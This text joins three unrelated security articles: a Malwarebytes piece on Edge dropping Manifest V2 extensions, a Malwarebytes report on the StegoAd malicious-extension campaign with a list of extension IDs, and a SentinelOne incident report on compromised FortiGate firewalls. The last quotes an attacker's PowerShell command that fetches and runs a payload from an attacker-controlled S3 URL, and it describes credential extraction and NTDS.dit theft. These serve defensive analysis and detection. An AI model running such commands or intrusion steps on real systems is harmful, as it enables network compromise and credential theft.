Microsoft is beginning the retirement of Manifest V2 (MV2) extensions in Edge this month, with consumer completion targeted for the end of 2026 and managed-enterprise deprecation in early 2027.

Microsoft says that change is justified because 95% of the most-used MV2 extensions in the Edge Add-ons store have already moved to Manifest V3 (MV3). It counted 58 MV2 extensions with “meaningful usage,” only three of which lack a publicly available MV3 alternative.

Starting this month, some Edge users will see warnings in edge://extensions and on Edge Add-ons store pages. Over the following months, MV2 extensions will be disabled by default.

This shift mostly affects privacy tools that modify requests, headers, redirects, or responses. MV2 extensions will need to be redesigned or lose particular features. Extensions relying on persistent background activity must also adapt to MV3’s service worker lifecycle model.

The change affects some well-known privacy and content-blocking extensions. Among them is the classic version of uBlock Origin, one of the most popular ad blockers for Edge, with more than 13 million installs.

The change is intended to improve security and performance. MV3 replaces some long-running background code and broad request-interception behavior with more constrained, declarative mechanisms. But those constraints also remove capabilities that sophisticated privacy, content-blocking, and request-modifying extensions relied on.

Several developers have complained about the challenges of adapting to MV3. One of the main issues is the limit on the number of rules a browser extension can include.

The rules must fit within browser-defined ceilings. Chrome documents a guaranteed minimum of 30,000 static rules, a maximum of 100 declared static rulesets with 50 enabled at once, 5,000 session rules, and limits on regular-expression rules.

This does in no way mean that Microsoft is banning ad blockers. They simply need to find different ways to remain effective.

Building Browser Guard for Manifest V3

At Malwarebytes, we’ve already gone through the process of adapting our free Browser Guard extension to MV3 and came out better than we went in.

So, while Manifest V3 introduced meaningful improvements to browser security, it also created real challenges for security tools like Browser Guard.

Rather than scaling back, the Browser Guard team rebuilt its approach from the ground up, focusing on behavior, patterns, and faster response times. The result is protection that’s different under the hood, but just as committed to keeping you safe online.

You can download Browser Guard for Edge from the Edge Add-ons store.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Microsoft has removed 119 extensions from the Edge add-on store which were all tied to one adware campaign.

In a paper titled “Inside StegoAd: How We Disrupted a Massive Malicious Extension Campaign,” Microsoft researchers detail how they uncovered and dismantled a sophisticated malware campaign that abused browser extensions to infect users. According to Microsoft, the campaign involved 119 malicious browser extensions which were downloaded by 2.6 million users.

The extensions all promised, and delivered, some kind of basic functionality: ad blockers, VPNs, translators, video downloaders, calculators, coupon extensions and so on. But after a while they turned out to be “sleepers” and secretly started downloading additional malware.

Among the payload was malware involved in ad fraud, but also extensions that ran arbitrary JavaScript pushed from the server, which stole Google credentials and second-factor codes at sign-in, harvested WordPress admin logins, and exfiltrated cookies in bulk for session hijacking.

The name of the campaign “StegoAd” is derived from the words advertising and steganography, which means techniques of hiding secrets in something that doesn’t immediately cause suspicion. In this case, hiding code in images.

And not only did the cybercriminals try to stay under the radar by waiting for some time, and hiding malicious code inside images, they also left some victims alone. Some of the extensions only went rogue in about 10% of installs, which would actually execute the next stage of the malware, while the other ~90% would be left alone (at least for that execution attempt). And, in some cases, they re-used names of well-known legitimate extensions to install an additional level of trust.

Browser extensions are a source of wealth for cybercriminals because it compares to installing a small program that lives inside your browser, which can see and report about everything you do on the internet.

Now I hear some of you thinking: I don’t use Edge. Or I’ve used it just once, to download and install my favorite browser. But although Microsoft discovered and analyzed the campaign, the techniques used in this campaign are applicable to Chromium-based browsers in general.

This campaign was less about exploiting a browser vulnerability and more about tricking users into installing a trusted-looking extension, then using sophisticated concealment techniques to avoid detection long enough to compromise systems.

How to stay safe

Always be careful when downloading extensions, even from the reputable app stores. As we’ve seen many times before, criminals manage to get their apps or extensions listed when they are only one update away from turning into malware. So, make sure that you trust the developer and don’t rely on reviews alone.

Use an up-to-date real-time security solution to detect and remove malicious extensions from your device and block connections to malicious domains and IP addresses. Remove the known malicious extensions from your browser. Below is an alphabetical list of the malicious extensions the researchers found by name.

Please note that there might be more than one extension that has the same name. In case you doubt whether the extension you have installed is among them, check whether the ID matches the one shown in the list. If you prefer looking them up by ID, you can find them organized differently in the Microsoft report (pages 40-43).

Extension Name	Extension ID
#Best# PDF Saver	jebcdimkcimkafekgbgbhookdajcoeib
“Download” Button for YouTube	jbmkcmhocoddcokjkahpcchanlmiffhg
“Save” Button for Pinterest	fhkijdlfjnpimenfpnegkecbbijmoipm
…Page Screenshot Clipper	maiackahflfnegibhinjhpbgeoldeklb
7TV	nmhdjlflloeeahacgomilnhmpfnhlpkn
Adblock	aooacabidfijofopjaeligonlfobjcjb
Adblock	dckihkcdmjmlkndgmmgplpcnkmdpangb
Adblock (µBlock clone)	kmiahfbflcnmlobepelpgkmolhodmiek
Adblock For Edge	kikacehfccglblphddbifmiaeiglfdfi
Adblock Master	dgmpkflgbcbpjgniahjegbpelmofbgnn
Adblock Master	hninibdhkeepfndhcdknlijeapngbgdp
Adblock Master for Youtube	jnakfjmfmjmfpmdnghedafdphdanbjkh
Adblock for Youtube	afakckepbbffmnoghgpfnnebijeahjcb
Adblock for Youtube	gclhifbbggfamoojmienffegbmmfnfll
Adblock for Youtube	nipggfgilmoiofmnkbeabghbcaohmjih
Adblocker FX	fkkoeecbjckjpnmenebojblcljjgbpoj
Adblocker Plus for YouTube	imiheoejheaebigkjaeilfmekiikjdbd
AdFly Skipper for Edge	nhfohdhgahjpmniccbgflilignkcnmai
AdSkip-爱奇艺	mimmainmmkddahakleojidjaimaofndp
Ads Block Ultimate	fbobegkkdmmcnmoplkgdmfhdlkjfelnb
AI Search GPT for Edge	beemogkfhphmjghmkghdaggidgohohee
AI Search with ChatGPT	jgngkchljnldpnjimaboboomjmpfpoie
AI Weather Forecast	iaehhmhmdidpkfmddiodkloefndpggcj
AliExpress Helper	elecjoakfjcmjoppfconlfgfemjcaoea
Auto Skip Ads on YouTube	dcelinkcepeidliddjhapgjokheoldjb
Axure RP Viewer	aekfeebhjlmielppjlhebapokdkelion
Batch Image Downloader	hnleilhpfbdofpdnnpjggafhncienakg
Batch Image Downloader	ibfjnghdeenopfkpbmnkablkfejnlnif
Best Speedtest Tool	eklcgjodcnhhcghpbhehhbnmjncbopcg
Best YouTube Adblocker	cjjcndlebdepeddfopnhpifmbfecocfh
Color Enhancer	bmmchpeggdipgcobjbkcjiifgjdaodng
Color by Number	aljmdjbcbkanlhnmcdjbefaomgbekhno
ColorZilla	mdjeohcdegpfoppocljbccpognjlkjke
Convert Everything	ielbkcjohpgmjhoiadncabphkglejgih
Cool Cursor	ajbkmeegjnmaggkhmibgckapjkohajim
CrxMouse – Super Drag	pohfogacehhgefhgmcmnojflfakllkal
CrxMouse Gestures	imcbcfmohachfahkbgijokokjpfmoogb
Custom New Tab for Edge	dbhgpbaaedlknnnochmkjfacnfnakkfa
Downloader for Instagram	higdalghhdbfffdjdiaenminajlmmldb
Download All Images	hnggnhinapdcjocbciajaffnofecfale
Edge Web Highlighter	ijgobfhjjipoljjcejmafocdnfnloflm
Efficient Adblocker for Youtube	oejbpnadmkdiofacgknaaagbmmonhgpb
Enhance YouTube	jecnjeedhbokmpckobjbgieglfjcomek
Evernote in Pinned Tab	elljfaejhdaplocgcejlhfemgimbmcdp
Focus To-Do: Pomodoro Timer & To Do List	nlapjaaepfeadiecaipnacimidfjginj
Free Online Video Downloader	bpdanoaacmebjgfjdmekfcfgmnaoekim
G.B.B.D Translator	fdjpommjpahieenehallhicdhponhacm
GIPHY for Edge	gggjlnkbmgmjboipaegjmjmehmcekamo
Gmail Checker	nhjdhmbdahdidccpobobccagmmijndmp
Google Hangouts	adnahjjfjjemdiefpobclponnhkijnmo
Google search link fix	mjofmhcbolkekhebpccldlbdamnfjefc
Google Translate in Right Click	fcoongackakfdmiincikmjgkedcgjkdp
Hiddence VPN	akfklmfpgmkkhiiolnfbhalkeccjnmeb
HLS Stream Downloader	fgbfcndckldbjifhjgijpjmnpekkelkb
IG Downloader for Edge	ncbpkjcnklnbnkjpcamhhoedlkljeolo
Image Downloader – Batch Download	ngeoikidkjbegoifbnmfimacmbilfcgi
Image Downloader Pro	gnbnbmnldhfoplgjojhepikgjanaplle
Imageye	ikfdcmchafnmklcndfegdlefcfoaggni
ImTranslator	bbofakpgfmlfjpjcahodgpbddocpibge
iQiyi Adblock	hlkenllnegiplhjhpobgangolfkjcgab
iVideo Downloader	amfboegfahhedgehddflgcfbdaapllfj
iYouTubeToMP4	bemebcpaekkmffjjbdakpipemmmlgchb
Language Reactor	hffpfdhdjpbnaddaidajedimmpckekkl
Live Start Page	egbkgelnkodaldbpkgjmhcekjakkcpnk
Magic Actions for YouTube	pjhoiegecdlpaohfffpajaldpbilngog
Marinara: Pomodoro® Assistant	mebgpfbaibhepnkljpimlijicgkbangk
Mouse Tooltip Translator	ibjjllhemkfgfbkgohldepcdgiigpdkb
Natural Reader Text to Speech	eopjamlpanhfkcbnoeofcnmdfdiogfgl
New Tab – Customized Dashboard	edohfgmjmdnibeihfcajfclmhapjkooa
Night Mode	engcfdjknekakgpjkhdobneidcpfbfgm
Night Mode	pgcamkdibinodcpkhenjmofbfobpebpn
One Key Translate	jihipmfmicjjpbpmoceapfjmigmemfam
Picture-in-Picture Playing	kemjiblbeciejjlgobbkffbpnceieefh
Piggy – Automatic Coupons	gmaoimcaoimgmomockloieoifjocpkmf
Pinterest Save Button	kakgeonhimhojdncehlopejkfaapboeo
Return YouTube Dislike	cgoigjefilgfmcjnnendlpdaonlfoncf
RSS Feed	gmciomcaholgmklbfangdjkneihfkddd
Save as PDF	mlgefgipndlgdfjfgnjfheigkagjieea
Save Pinterest on Right Click	glgbgppjjkldoifgpbhbpbkbcdjpgpfj
Screen Shader | Dark Mode	olcibgopfmndlnghnmogcgdhdffdbicg
Similar Sites – Discover Related Websites	fifeankddgioinbcchlokclbcgjlopjj
Similar Sites for Edge	fhhinoefbjlmhakpjohnpabdobgmphli
Simple mass downloader	dbhdfkiddhdhmcikjdgblfjbenjfjlfh
Social Book Post Manager	inelenlaldjofeekhjinpjkacjokagke
SpeakIt!	badiigfpcpfckbhmpmkhokagppaadkim
Speed Control for Youtube	eindenipbnkpeofhpjjimphfchmjoohe
Spell & Grammar Check Tool	fljmegmgjebjdionedkjfgffikhnmcgg
ssYoutube – Video Downloader	okmfpehbgckbneedidbladdaiekikcdo
Summary with ChatGPT	dokiamnhbobapjfhhhcjlfplabeofamp
Super Dark Mode for Edge	lkmeakjjodlkhbikbpdoeicfodaklkna
TikMate	jhahljcmjemimhchigiaigklabnpodgo
TikTok APP for Edge	celdediiemogjpfcjocdbildilkccepl
TikTok Downloader Without Watermark	flcgalphjnojjefjnnimnejbkkefbjgo
To QRcode	cgjomicbgmoadggnjbdiafpjlodmafkp
Transkriptor	lplondnihmdhjokafldkcfnjclkhigpm
Translate Officer	jjdfciihihcpgfgmoonfpgglbgclpfai
Translate Selected Text with Google	obocpangfamkffjllmcfnieeoacoheda
Translate Selected Text with Right Click	fmchencccolmmgjmaahfhpglemdcjfll
Trusted VPN for Edge – Free VeePN	klmfgbnlbfgpdenpdddpdfigmnkmchil
Turbo Download Manager	bpjnmlookdfciblphehedlcbpmignahe
Twitch Custom Emotes – FrankerFaceZ	johcbgkljdbebbloakcollpmigpigkpd
U-Tube Downloader	nphphgkcccnlmdiihcedabnhfacfmojk
Undo Closed Tabs	amemnenomfejhfmfiheekmbcigfkolel
Unblock Youku	ajnjfpjimckjhfcpkaldennpdjglmeml
UseChatGPT.AI	hcmfdagipflbaagmcnhnhabkmjkopcke
Video & MP3 Downloader	oiolhdeinoaidggfcpebifcbedppbgog
Video Downloader Premium	jgphopeamnghlcekffldkpnbhmiadnbc
VPN	pdnjhppcgkdbjolbeplcabkcfmpnbjmh
Weather Forecast	hecicojipmfmablnbhknedademofbbpk
Webpage Screenshot for Edge	eblienbdkbgiigaebhmljbedkafiobkj
YouTube Transcript to Text	nfincgjfplibcdcncfkeehldffppnlnp
YouTube Adblock Plus	flmkfmdmcaepdaoedepihfkhmgopiago
Youtube Adblock Online	hmjdegfgppjddmmojloflajkelegnjdp
Youtube Download	dhnibdhcanplpdkcljgmfhbipehkgdkk
Youtube To MP4 Downloader	cfilkckedhoniijcpjfgihelgepflpni
ZLibrary Searcher	ffedaeoanbhgmanhhecfjodpopcjnhkc
一键翻译	nepdfkaidpemglngbgpnmmhnleiekpin
鼠标手势 (Mouse Gestures)	cbopgngpbfeoecnbebghbbhmdadmllce

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Overview

Throughout early 2026, SentinelOne’s® Digital Forensics & Incident Response (DFIR) team has responded to several incidents where FortiGate Next-Generation Firewall (NGFW) appliances have been compromised to establish a foothold into the targeted environment. Each incident was detected and stopped during the lateral movement phase of the attack.

Fortinet has disclosed and issued patches for several high-severity vulnerabilities allowing unauthorized access during the activity period of our investigations. Successful exploitation of these flaws allows an attacker to extract the configuration file from the FortiGate appliance, which frequently contains service account credentials and valuable network topology information for the targeted environment.

We observed a consistent theme: targeted organizations fail to retain sufficient logs on these appliances, which prevents understanding exactly how and when attackers gained access. The dwell time between initial perimeter device compromise to network compromise was drastically different across two incidents we investigated, ranging from 2 months to near instantaneous follow-on activity.

This post explores the actions that an attacker or attackers conducted following likely exploitation of two of these FortiGate appliances in different environments. It also provides defenders with guidance to investigate compromise of these appliances and subsequent infiltration activities.

FortiGate Appliance Compromise

FortiGate network appliances have considerable access to the environments they were installed to protect. In many configurations, this includes service accounts which are connected to the authentication infrastructure, such as Active Directory (AD) and Lightweight Directory Access Protocol (LDAP). This setup can enable the appliance to map roles to specific users by fetching attributes about the connection that’s being analyzed and correlating with the Directory information, which is useful in cases where role-based policies are set or for increasing response speed for network security alerts detected by the device.

However, such access is abused by actors who compromise FortiGate devices, as we have seen in these recent incidents.

Through December 2025 and February 2026, Fortinet products have reportedly been exploited via CVE-2025-59718 and CVE-2025-59719, two vulnerabilities impacting Fortinet products’ Single Sign On (SSO) mechanisms by failing to validate cryptographic signatures. In effect, this means an attacker who sends a crafted SSO token can achieve unauthenticated administrative access as the cryptographic signature is not verified.

Another vulnerability, CVE-2026-24858, was patched by Fortinet in late January: this vulnerability permitted attackers to log into FortiGate devices where FortiCloud SSO was enabled. Attackers exploited this flaw by logging into the victim’s device using the attacker’s FortiCloud account.

Once an attacker gains access in this way, they can run the command show full-configuration to extract the FortiGate device configuration file. Fortinet’s FortiOS devices, including FortiGate appliances, use a reversible form of encryption on the configuration files, meaning an attacker can then identify embedded service accounts and extract them.

However, other recent reports have detailed that actors are scanning for open instances and then attempting to log into FortiGate devices using common weak credentials, which means actors can access such devices without a weaponized exploit.

FortiGate Configs Abused to Enroll Rogue Domain Workstations

In one incident (IOCS: Incident 1), the compromise likely began in late November 2025 and remained undetected through February 2026. After accessing the appliance, the actor created a new local administrator account on the FortiGate device named support and used it to create 4 new firewall policies that allowed the account to traverse all zones (source: all; destination: all).

Activity then dropped to low volumes of traffic through some of these policies, suggesting the actor was periodically checking that access was still available before later shifting to noisier network activity.

This pattern is consistent with an initial access broker (IAB) establishing a foothold and then selling it on to another actor. Insufficient FortiGate log retention meant we could only reconstruct the activity window rather than identify the precise initial access vector.

In February 2026, an attacker likely extracted the configuration file, which contained encrypted service account LDAP credentials. Evidence demonstrates the attacker authenticated to the AD using clear text credentials from the fortidcagent service account, suggesting the attacker decrypted the configuration file and extracted the service account credentials.

The service account was then used to authenticate to the victim’s environment from IP address 193.24.211[.]61. The attacker used the mS-DS-MachineAccountQuota attribute to join two rogue workstations to the AD; by default, this setting permits a standard account to join up to 10 workstations to the domain.

Joining the attacker’s workstation to the AD provided the attacker with more access to the environment with fewer security controls. The rogue workstation names are:

• WIN-X8WRBOSK0OF
• WIN-YRSXLEONJY2

Per Validin’s records on IP address 193.24.211[.]61, the IP has consistently shown an RDP port open with an exposed Windows system with workstation ID WIN-1J7L3SQSTMS. We did not see this workstation ID during our incident, but given the consistent nature of this system on the IP address, this workstation ID should be considered suspect.

The actor then performed network scanning across the environment, which generated security alerts and prevented further lateral movement. Identity logs showed massive volumes of failed logins indicating password spraying attempts, which originated from the FortiGate appliance IP address. There were also multiple delete.me file artifacts that suggest the actor likely used the SoftPerfect Network Scanner for enumeration.

There were multiple failed login attempts during the period of heavy activity in February, including from IP addresses 185.156.73[.]62 and 185.242.246[.]127, which are registered to networks in Ukraine and Kazakhstan, respectively.

FortiGate Access Exploited to Deploy RMM Tools and Steal NTDS

In another case we investigated in late January (IOCS: Incident 2), a threat actor accessed the organization’s FortiGate appliance and created a local administrator account with the name ssl-admin. As in the previous investigation, it is likely that the actor again extracted the configuration from the FortiGate appliance and decrypted it to harvest the AD administrator credentials.

Within 10 minutes of creating a local account on the FortiGate appliance, the actor logged into several servers in the victim’s environment with the built-in Domain Administrator account. Server authentication logs confirmed a series of successful Network (Type 3) and Remote Interactive (Type 10/RDP) logins originating from the FortiGate VPN-assigned IP range.

On one of the servers, the attacker launched SQL Server Management Studio (SSMS) but did not connect to any databases, possibly searching for stored connection details or credentials in the application.

The actor began staging files in the system’s C:\ProgramData\USOShared directory, a technique we have observed across multiple incidents. The attacker downloaded two Remote Monitoring and Management (RMM) tools: Pulseway and MeshAgent, which are legitimate system administration tools that are frequently abused by threat actors to achieve a deeper foothold in the target environment.

The actor abused legitimate cloud storage functionality by hosting the Pulseway application on a Google Cloud Storage URL at hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi, which is likely attacker-controlled. The MeshAgent RMM was installed on the domain controller and a file share. The actor modified a Windows Registry value SystemComponent=1 to hide MeshAgent from the “Programs and Features” list.

These tools were used to create Windows Scheduled Tasks named JavaMainUpdate and MeshUserTask for Pulseway and MeshAgent, respectively. The actor also downloaded malware from a cloud storage bucket via PowerShell from Amazon Web Services (AWS) Simple Storage Service (S3) hostname fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com. Like the Google Cloud Storage URL, this is a legitimate Amazon resource that was likely registered by the attacker for unauthorized purposes. This stage used the following command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Invoke-WebRequest -Uri
'hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip' -OutFile
'C:\programdata\usoshared\Sysdmupd.zip'; Expand-Archive -Path
'C:\programdata\usoshared\Sysdmupd.zip' -DestinationPath 'c:\programdata\usoshared\'
-Force; Remove-Item 'c:\programdata\usoshared\Sysdmupd.zip'; cmd /c
'c:\programdata\usoshared\java.exe';"

The attacker gave the malicious DLLs the same names as legitimate Java files, causing the application to load the malware via DLL side-loading instead of the real components. The Java-loaded payload beaconed to two domains: ndibstersoft[.]com and neremedysoft[.]com. These payloads were executed against other servers on the network using PsExec, including the primary and secondary domain controllers.

The actor then created a Volume Shadow Copy backup of the primary domain controller via Windows Management Instrumentation Controls (WMIC) and extracted the NTDS.dit file and SYSTEM registry hive from the backup using the makecab command, then used makecab to compress each file.

The malicious Java application then established a connection on port 443 to IP address 172.67.196[.]232, a Cloudflare-owned IP address with thousands of domain records. The connection was terminated after 8 minutes, and the compressed NTDS.dit and registry hive files were deleted. This sequence of events suggests the attacker uploaded the data to their infrastructure during this session.

Following this activity, we observed no evidence of the threat actor leveraging new or additional user accounts. While the actor may have attempted to crack passwords from the data, no such credential usage was identified between the time of credential harvesting and incident containment.

Conclusion

NGFW appliances have become ubiquitous because they provide strong network monitoring capabilities for organizations by integrating security controls of a firewall with other management features, such as AD. However, these devices are high-value targets for actors with a variety of motivations and skill levels, from state-aligned actors conducting espionage to financially motivated attacks such as ransomware.

As Amazon Security recently wrote, lower skilled threat actors have been boosted by integrating large language models (LLM) into their workflows, making attacks easier and more automated despite demonstrating limited knowledge after exploitation. SentinelOne does not see indications that the campaigns identified in the aforementioned cases are associated with the threat actor tracked by Amazon Security, particularly given the relatively high dwell time between initial access and further activity mentioned in the first incident.

However, organizations should prepare for increases in attack volume at network edge devices as attackers find novel ways to bypass LLM safeguards: these appliances are valuable targets and are often exposed to the open internet. LLMs are often trained on these products and can readily supply information to actors that facilitates gaining access and understanding how to navigate from network appliances deeper into the targeted environment without the knowledge uplift previously required by threat actor crews.

Organizations should consider that FortiGate and other edge devices typically do not permit security software to be installed on the appliance, such as endpoint detection and response (EDR) tools. The best defense for these appliances is to apply strong administrative access controls and to keep the software patched to prevent exploitation. Further, both of these investigations were hindered by insufficient FortiGate log retention. Organizations should ensure they have at least 14 days of log retention on NGFW appliances like FortiGate, though 60-90 days is much better when possible.

SentinelOne recommends sending all logs to a Security Incident & Event Monitoring (SIEM) or similar log aggregation system, as attackers may delete logs from local systems after establishing access, but they can’t delete what’s already been sent to a security center. A SIEM can help at each stage of an attack:

1. UEBA and Identity Intelligence: User entity and behavior analytics (UEBA) within a SIEM baselines “normal behavior for every administrator, allowing the SIEM to immediately flag a login if it originates from an unrecognized device or “impossible travel” location. By identifying these anomalies at the moment of entry, the SIEM can alert defenders even if the attacker is using perfectly valid, stolen credentials.
2. Detection of Configuration Access and Credential Extraction: A SIEM monitors the FortiGate audit logs for sensitive CLI commands like show full-configuration or backup exports occurring outside of maintenance windows. By correlating these actions with an unusual admin login location, the SIEM can alert security teams that a configuration file and the credentials within it may have been compromised.
3. Spotting Unauthorized Account Creation: When a threat actor creates a local “backdoor” admin account, the SIEM immediately flags the user-creation event as a high-priority anomaly. It compares this new account against a “whitelist” of authorized admins, ensuring that any account created without a linked Change Management ticket is treated as an active breach.
4. Monitoring Malware Downloads & C2 Traffic: SIEMs analyze network flow data to identify internal systems reaching out to known malicious IPs or suspicious domains via PowerShell. By detecting the “heartbeat” of a C2 channel, the SIEM allows defenders to kill the connection before the attacker can begin exfiltrating data.
5. Preserving Evidence Against Log Deletion: Because the FortiGate appliance streams its logs to the SIEM in real-time, the attacker cannot hide their tracks by clearing the local logs. The SIEM maintains an immutable record of every command the attacker typed, providing the forensic evidence needed to understand the full scope of the intrusion.
6. Neutralizing the Threat with Automation: Modern SIEMs now come with automation built in allowing the SIEM to trigger automated playbooks the millisecond an attack is detected, such as instantly disabling the compromised service account or “shunning” the attacker’s IP at the network perimeter. By removing the need for human intervention in the initial response, automation slashes the attacker’s dwell time, effectively neutralizing the breach before malware can begin to spread.

Below, we share guidance for organizations and other incident responders on how to investigate a suspected FortiGate intrusion of this nature.

Forensic Investigation Guidance

FortiGate

Malicious SSO/Unexpected Logins:

Search system logs for Log ID 0100032001 (Admin login successful, method sso).

Check for usernames matching public IOCs (e.g., cloud-init@mail.io, cloud-noc@mail.io).

Configuration Download:

Search for Log ID 0100032095 (System config file has been downloaded).

The timestamp confirms when the attacker exported the configuration file.

Malicious Local Admin Account Creation:

Identify the exact creation time and source IP using Log ID 0100044547 (Object attribute configured) with cfgpath="user.local" or cfgpath="system.admin".

VPN Sessions:

Identify the attacker’s source IP by analyzing the remip field in VPN tunnel logs.

Look for Log ID 0101039424 (SSL VPN tunnel up) or 0101037138 (IPsec tunnel up).

Note the internal IP addresses for later correlation with evidence from the Domain Controller(s).

Domain Controllers

Rogue Computer Account Creation (Domain Join):

Windows Event ID 4741: Confirms the creation of a computer account.

Verify the Subject: Security ID matches FortiGate’s stolen LDAP bind account.

Use the SubjectLogonId from 4741 to find the corresponding Event ID 4624 (Logon Type 3) on the same domain controller to extract the Source Network Address (should match the attacker’s internal VPN IP identified via FortiGate logs).

Directory Service Changes (Advanced Audit):

If enabled, Event ID 5136 shows exact attributes set during the join (e.g., missing SPNs, modified UAC values), indicating the use of automated tools like Impacket.

DNS Record Creation:

DNS Server Audit log (Event ID 515 – Record Create): Records the creation of the host (A) record, including workstation name and timestamp.

Microsoft-Windows-DNSServer/Analytical log: Provides the Client IP (internal VPN IP) and the QNAME (workstation name being registered).

Active Directory

Find Malicious Computer Objects:

Check mS-DS-CreatorSID: If multiple rogue computers share the same SID, and it belongs to the Fortinet LDAP service account, compromise is confirmed.

Check for defined SPNs: The lack of SPNs is a red flag and a likely malicious indicator.

Note whenCreated: This attribute stores the exact time the object was added.

Originating Domain Controller and Time:

Check the sAMAccountName attribute to identify the Originating DSA (the domain controller that originally created the object) and the Originating Time.

Indicators of Compromise

Domains

ndibstersoft[.]com – Incident 2, Java-sideloaded payload C2 domain
neremedysoft[.]com – Incident 2, Java-sideloaded payload C2 domain
fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com – Incident 2, S3 subdomain hosting weaponized Java payloads

IP Addresses

185.156.73[.]62 – Incident 1, failed login source IP
185.242.246[.]127 – Incident 1, failed login source IP
193.24.211[.]61 – Incident 1 threat actor connection via ‘support’ account

URLs

hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip – Incident 2, URL hosting weaponized Java application & payloads
hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi – Incident 2, URL hosting Pulseway RMM

Account Names Created by Threat Actor

ssl-admin – Incident 2, FortiGate local administrative account
support – Incident 1, FortiGate local administrative account

Windows Workstation Names

WIN-1J7L3SQSTMS – Incident 1, Windows hostname of RDP service hosted on attacker IP 193.24.211[.]61
WIN-X8WRBOSK0OF – Incident 1, rogue workstation ID
WIN-YRSXLEONJY2 – Incident 1, rogue workstation ID

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.